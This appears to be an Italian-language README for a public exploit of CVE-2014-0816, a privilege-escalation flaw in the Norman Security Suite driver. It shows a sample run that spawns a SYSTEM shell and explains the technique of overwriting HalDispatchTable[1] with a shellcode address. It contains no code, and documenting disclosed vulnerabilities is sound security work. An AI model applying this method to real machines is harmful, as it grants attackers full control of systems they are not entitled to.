tandasat/cve-2014-0816CVE-2014-0816
Questo è un exploit per CVE-2014-0816 (JVNDB-2014-000026: Norman Security Suite vulnerabile a elevazione di privilegi).
Questo exploit lancia CMD.exe con privilegi di SYSTEM partendo da privilegi di Non-Administrator sfruttando la vulnerabilità in un handler IOCTL di ngs.sys / ngs64.sys.
C:\Users\user\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Target file version: ver 5.0.740.0.
[*] An address file was created at C:\Users\user\Desktop\address.bin.
[*] Shellcode is located at 000000013F9357D0.
[*] The device was opened as 0000000000000044.
[*] The address file was opened as FFFFFFFF80000558.
[+] HalDispatchTable[1] is located at FFFFF800033FDC68.
[+] HalDispatchTable[1] was altered.
[+] Shellcode was executed.
[+] The SYSTEM shell was launched.
[*] Press any key to finish this program.
Poi vedrai una nuova console.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>whoami
nt authority\system
La vulnerabilità consente a un attaccante di sovrascrivere un indirizzo arbitrario con un valore arbitrario, quindi questo exploit modifica il valore di HalDispatchTable[1] con un indirizzo di shellcode che eleva i privilegi del processo corrente a privilegi SYSTEM.
Questa vulnerabilità sarà sfruttabile su tutte le piattaforme da Windows XP a 8 sia x86/x64, ma questo exploit è progettato e testato su determinate piattaforme (ad esempio, non funzionerà su Windows 8 a causa di SMEP).
Questo software è rilasciato sotto la Licenza MIT, vedi LICENSE.